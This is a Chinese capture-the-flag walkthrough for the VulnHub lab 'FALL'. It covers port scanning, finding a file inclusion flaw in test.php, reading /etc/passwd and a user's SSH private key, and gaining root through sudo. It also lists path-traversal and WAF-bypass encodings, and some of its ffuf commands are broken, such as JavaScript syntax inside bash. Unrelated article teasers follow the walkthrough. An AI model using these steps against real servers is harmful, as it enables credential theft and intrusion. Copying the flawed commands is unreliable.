digitalworld.local: FALL靶场

digitalworld.local: FALL

来自 <digitalworld.local: FALL ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.4

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.4

端口/协议

状态

服务名称

版本/详细信息

备注

22/tcp

开放

SSH

OpenSSH 7.8 (协议 2.0)

支持三种主机密钥类型:RSA(2048位)、ECDSA(256位)、ED25519(256位)

80/tcp

开放

HTTP

Apache 2.4.39 (Fedora)

- 标题显示"Good Tech Inc's Fall Sales"

- robots.txt含1个禁止条目

使用OpenSSL 1.1.0i-fips模块

139/tcp

开放

NetBIOS-SSN

Samba smbd 3.X - 4.X

工作组:SAMBA

系统时间显示为2025年(可能配置错误)

443/tcp

开放

HTTPS

Apache 2.4.39 (Fedora)

- 使用自签名SSL证书(CN=localhost.localdomain)

证书有效期:2019-08-15至2020-08-19(已过期)

检测到CMS Made Simple生成器

445/tcp

开放

NetBIOS-SSN

Samba smbd 4.8.10

工作组:SAMBA

计算机名:FALL

3306/tcp

开放

MySQL

未授权访问

可能存在安全风险

9090/tcp

开放

Cockpit Web

版本162-188

强制HTTPS重定向

未验证SSL证书有效性

111/tcp

关闭

rpcbind

-

服务未运行

8000/tcp

关闭

HTTP-alt

-

服务未运行

8080/tcp

关闭

HTTP-proxy

-

服务未运行

8443/tcp

关闭

HTTPS-alt

-

服务未运行

4,扫描一下smb服务

5,访问80端口存在的http服务

存在两个人名:qiu,patrick。再扫描爆破网站子目录

dirsearch -u http://192.168.23.4 -x 404,403

然后扫描识别网站指纹

whatweb -v http://192.168.23.4

访问扫描到的网站子目录

http://192.168.23.4/robots.txt

http://192.168.23.4/test.php

提示GET请求参数有问题,需要构造请求参数。模糊测试一下爆破出请求参数

ffuf -u http://192.168.23.4/test.php?FUZZ=../../../../../../etc/passwd -w /usr/share/wordlists/dirb/big.txt -fs 80

爆出来是file参数

http://192.168.23.4/test.php?file=../../../../../../etc/passwd

文件包含漏洞利用成功

 

在路径遍历(Path Traversal)攻击中,确定 ../ 的数量(即需要回溯多少层目录)是一个关键步骤,但具体数量取决于 目标应用的上下文路径 和 服务器的文件系统结构。以下是逐步分析:

1. 基本原理

  • ../ 的作用:每个 ../ 表示向上一级目录。例如:
    plaintext
    /var/www/html/test.php     # 当前文件路径
    ../../../../etc/passwd     # 需要回溯 4 层到根目录,再进入 /etc/passwd
  • 目标文件位置:假设目标文件是 /etc/passwd,位于系统的根目录下,你需要从当前路径回溯到根目录,再进入 /etc

2. 为什么示例中使用 6 个 ../

在示例命令中:

ffuf -u "http://192.168.23.4/test.php?FUZZ=../../../../../../etc/passwd" -w wordlist.txt -fs 80

使用 6 个 ../ 可能是基于以下假设:

  1. 默认 Web 目录结构:假设 test.php 位于类似 /var/www/html/ 的路径中。
  • /var/www/html/ 需要回溯 3 层到根目录:../../..
  • 再附加 /etc/passwd,总共需要 3 + 1 = 4 个 ../(因为 /etc 在根目录下)。
  • 但为什么示例用 6 个? 可能是为了覆盖更深或更复杂的目录结构(如容器化环境、多层子目录)。

3. 如何科学确定 ../ 的数量?

方法 1:逐步测试不同层数

直接通过 ffuf 动态生成不同数量的 ../,观察响应差异:

# 生成 1-10 个 ../ 进行测试(FUZZ 替换为不同数量的 ../)
ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" \
  -w <(for i in {1..10}; do echo "../".repeat($i); done) \
  -fs 80

  • 解释:通过循环生成 1 到 10 个 ../,测试不同层数的有效性。

方法 2:观察错误响应

  1. 触发错误:如果使用的 ../ 不足,可能返回 404 Not Found 或空内容。
  2. 成功标志:如果成功读取 /etc/passwd,响应内容中会包含系统用户信息(如 root:x:0:0: 等字段)。

方法 3:结合已知路径推断

  • 如果已知目标服务器的 Web 根目录(如 /var/www/html),计算到根目录需要多少层:
    /var/www/html/ → 需要 3 个 ../ 到根目录
    /opt/app/web/  → 需要 3 个 ../ 到根目录
  • 在此基础上附加 /etc/passwd,共需要 3 + 1 = 4 个 ../

4. 为什么有时需要更多 ../

  • 容器或虚拟环境:目标应用可能运行在嵌套目录中(如 Docker 容器、多层虚拟化)。
  • 符号链接或重定向:服务器配置可能导致实际路径比预期更深。
  • 冗余回溯:某些应用会过滤固定数量的 ../,冗余的 ../ 可以绕过过滤(如 ....// 或 ....\/)。

5. 自动化优化技巧

  • 使用占位符模糊测试:直接让工具自动尝试不同层数:
    # 使用 ffuf 的 "FUZZ" 占位符动态插入不同数量的 ../
    ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" -w <(printf "%s\n" "../" "../.." "../../.." "../../../.." etc.) -fs 80
  • 结合响应长度过滤:通过 -fs 或 -fc 过滤掉固定长度的错误响应。

6. 其他注意事项

  1. 操作系统差异
  • Linux:路径分隔符为 /,目标文件如 /etc/passwd
  • Windows:路径分隔符为 \,可能需要 ..\ 或 URL 编码(如 ..%5c)。
  1. 编码绕过
  • 对 ../ 进行 URL 编码(如 %2e%2e%2f)或双重编码(如 %252e%252e%252f)。
  • 使用非标准表示(如 ....//..\/)。
  1. WAF 绕过
  • 某些 Web 应用防火墙(WAF)会检测 ../,可尝试以下变种:
    ....//
    ..%252f
    %2e%2e%2f

总结

核心逻辑:通过测试不同数量的 ../,找到能成功访问目标文件的最小层数。

推荐实践:使用 ffuf 动态生成层数,结合响应内容长度和关键词过滤结果。例如:
ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" -w <(for i in {1..10}; do echo $(printf "../%.0s" {1..$i}); done) -fs 80 -mr "root:x:0"

  • -mr "root:x:0":匹配响应中包含 root:x:0 的内容(即 /etc/passwd 的标识)

 

6,尝试利用文件包含漏洞getshell,发现能够文件包含到qiu用户的ssh私钥文件

http://192.168.23.4/test.php?file=../../../../../../home/qiu/.ssh/id_rsa

wget http://192.168.23.4/test.php?file=../../../../../../home/qiu/.ssh/id_rsa

mv 'test.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fqiu%2F.ssh%2Fid_rsa' id_rsa

chmod 400 id_rsa

ssh qiu@192.168.23.4 -i id_rsa

登录成功,信息收集一下

cat .bash_history

这可能是密码remarkablyawesomE

find / -perm -4000 -print 2>/dev/null

sudo sudo /bin/sh

提权成功,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/81787.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

经典Java面试题的答案——Java 基础

大家好&#xff0c;我是九神。这是互联网技术岗的分享专题&#xff0c;废话少说&#xff0c;进入正题&#xff1a; 1.JDK 和 JRE 有什么区别&#xff1f; JDK&#xff1a;Java Development Kit 的简称&#xff0c;java 开发工具包&#xff0c;提供了 java 的开发环境和运行环境…

LabVIEW风机状态实时监测

在当今电子设备高度集成化的时代&#xff0c;设备散热成为关键问题。许多大型设备机箱常采用多个风机协同散热&#xff0c;确保系统稳定运行。一旦风机出现故障&#xff0c;若不能及时察觉&#xff0c;可能导致设备损坏&#xff0c;造成巨大损失。为满足对机箱内风机状态实时监…

18 C 语言算术、关系、逻辑运算符及 VS Code 警告配置详解

1 运算符与表达式核心概念 1.1 什么是运算符 运算符是编程和数学中具有特定功能的符号&#xff0c;用于对数据进行运算、赋值、比较及逻辑处理等操作。它们能够改变、组合或比较操作数的值&#xff0c;进而生成新值或触发特定动作。 1.2 什么是表达式 表达式是编程和数学中用…

shell脚本之函数详细解释及运用

什么是函数 通俗地讲&#xff0c;所谓函数就是将一组功能相对独立的代码集中起来&#xff0c;形成一个代码块&#xff0c;这个代码可 以完成某个具体的功能。从上面的定义可以看出&#xff0c;Shell中的函数的概念与其他语言的函数的 概念并没有太大的区别。从本质上讲&#…

86.评论日记

再谈小米SU7高速爆燃事件_哔哩哔哩_bilibili 2025年5月21日14:00:45

Babylon.js学习之路《七、用户交互:鼠标点击、拖拽与射线检测》

文章目录 1. 引言&#xff1a;用户交互的核心作用1.1 材质与纹理的核心作用 2. 基础交互&#xff1a;鼠标与触摸事件2.1 绑定鼠标点击事件2.2 触摸事件适配 3. 射线检测&#xff08;Ray Casting&#xff09;3.1 射线检测的原理3.2 高级射线检测技巧 4. 拖拽物体的实现4.1 拖拽基…

adb抓包

目录 抓包步骤 步骤 1: 获取应用的包名 步骤 2: 查看单个应用的日志 步骤 3: 使用日志级别过滤器 步骤 4: 高级日志过滤 可能的原因&#xff1a; 解决方案&#xff1a; 额外提示&#xff1a; 日志保存 抓包步骤 连接设备 adb devices 步骤 1: 获取应用的包名 首先…

什么是实时流数据?核心概念与应用场景解析

在当今数字经济时代&#xff0c;实时流数据正成为企业核心竞争力。金融机构需要实时风控系统在欺诈交易发生的瞬间进行拦截&#xff1b;电商平台需要根据用户实时行为提供个性化推荐&#xff1b;工业物联网需要监控设备状态预防故障。这些场景都要求系统能够“即时感知、即时分…

百度飞桨OCR(PP-OCRv4_server_det|PP-OCRv4_server_rec_doc)文本识别-Java项目实践

什么是OCR? OCR&#xff08;Optical Character Recognition&#xff0c;光学字符识别&#xff09;是一种通过技术手段将图像或扫描件中的文字内容转换为可编辑、可搜索的文本格式&#xff08;如TXT、Word、PDF等&#xff09;的技术。它广泛应用于文档数字化、信息提取、自动化…

Pytorch实现常用代码笔记

Pytorch实现常用代码笔记 基础实现代码其他代码示例Networks or ProjectsNetwork ModulesLossUtils 基础实现代码 参考 深度学习手写代码 其他代码示例 Networks or Projects SENet学习笔记 SKNet——SENet孪生兄弟篇 GCNet&#xff1a;当Non-local遇见SENet YOLOv1到YOLO…

word通配符表

目录 一、word查找栏代码&通配符一览表二、word替换栏代码&通配符一览表三、参考文献 一、word查找栏代码&通配符一览表 序号清除使用通配符复选框勾选使用通配符复选框特殊字符代码特殊字符代码or通配符1任意单个字符^?一个任意字符?2任意数字^#任意数字&#…

TYUT-企业级开发教程-第6章

这一章 考点不多 什么是缓存&#xff1f;为什么要设计出缓存&#xff1f; 企业级应用为了避免读取数据时受限于数据库的访问效率而导致整体系统性能偏低&#xff0c;通 常会在应用程序与数据库之间建立一种临时的数据存储机制&#xff0c;该临时存储数据的区域称 为缓存。缓存…

双检锁(Double-Checked Locking)单例模式

在项目中使用双检锁&#xff08;Double-Checked Locking&#xff09;单例模式来管理 JSON 格式化处理对象&#xff08;如 ObjectMapper 在 Jackson 库中&#xff0c;或 JsonParser 在 Gson 库中&#xff09;是一种常见的做法。这种模式确保了对象只被创建一次&#xff0c;同时在…

华为网路设备学习-22(路由器OSPF-LSA及特殊详解)

一、基本概念 OSPF协议的基本概念 OSPF是一种内部网关协议&#xff08;IGP&#xff09;&#xff0c;主要用于在自治系统&#xff08;AS&#xff09;内部使路由器获得远端网络的路由信息。OSPF是一种链路状态路由协议&#xff0c;不直接传递路由表&#xff0c;而是通过交换链路…

数独求解器3.0 增加latex格式读取

首先说明两种读入格式 latex输入格式说明 \documentclass{article} \begin{document}This is some text before oku.\begin{array}{|l|l|l|l|l|l|l|l|l|} \hline & & & & 5 & & 2 & 9 \\ \hline& & 5 & 1 & & 7…

20250520在全志H3平台的Nano Pi NEO CORE开发板上运行Ubuntu Core16.04.3时跑通4G模块EC20

1、h3-sd-friendlycore-xenial-4.14-armhf-20210618.img.gz 在WIN10下使用7-ZIP解压缩/ubuntu20.04下使用tar 2、Win32DiskImager.exe 写如32GB的TF卡。【以管理员身份运行】 3、TF卡如果已经做过会有3个磁盘分区&#xff0c;可以使用SD Card Formatter/SDCardFormatterv5_WinE…

精益数据分析(74/126):从愿景到落地的精益开发路径——Rally的全流程管理实践

精益数据分析&#xff08;74/126&#xff09;&#xff1a;从愿景到落地的精益开发路径——Rally的全流程管理实践 在创业的黏性阶段&#xff0c;如何将抽象的愿景转化为可落地的产品功能&#xff1f;如何在快速迭代中保持战略聚焦&#xff1f;今天&#xff0c;我们通过Rally软…

Javascript 编程基础(4)函数 | 4.3、apply() 与 call() 方法

文章目录 一、apply() 与 call() 方法1、核心概念1.1、call() 方法1.2、apply() 方法 2、使用示例2.1、基本用法2.2、处理 this 指向问题 3、call() 与 apply() 的区别 一、apply() 与 call() 方法 apply() 和 call() 都是 JavaScript 函数对象的方法&#xff0c;用于显式设置函…

读一本书第一遍是快读还是细读?

在时间充足且计划对重要书籍进行多遍阅读的前提下&#xff0c;第一遍阅读的策略可以结合**「快读搭建框架」与「标记重点」**&#xff0c;为后续细读奠定基础。以下是具体建议及操作逻辑&#xff1a; 一、第一遍&#xff1a;快读为主&#xff0c;目标是「建立全局认知」 1. 快…

基于大模型的全面惊厥性癫痫持续状态技术方案

目录 一、数据收集与预处理系统1.1 多模态数据集成模块1.2 数据预处理流程二、大模型构建与训练系统2.1 模型架构设计2.2 训练流程三、术前评估系统3.1 癫痫发作风险预测3.2 手术可行性评估流程四、术中决策支持系统4.1 实时监测数据处理4.2 麻醉方案优化流程五、术后护理系统5…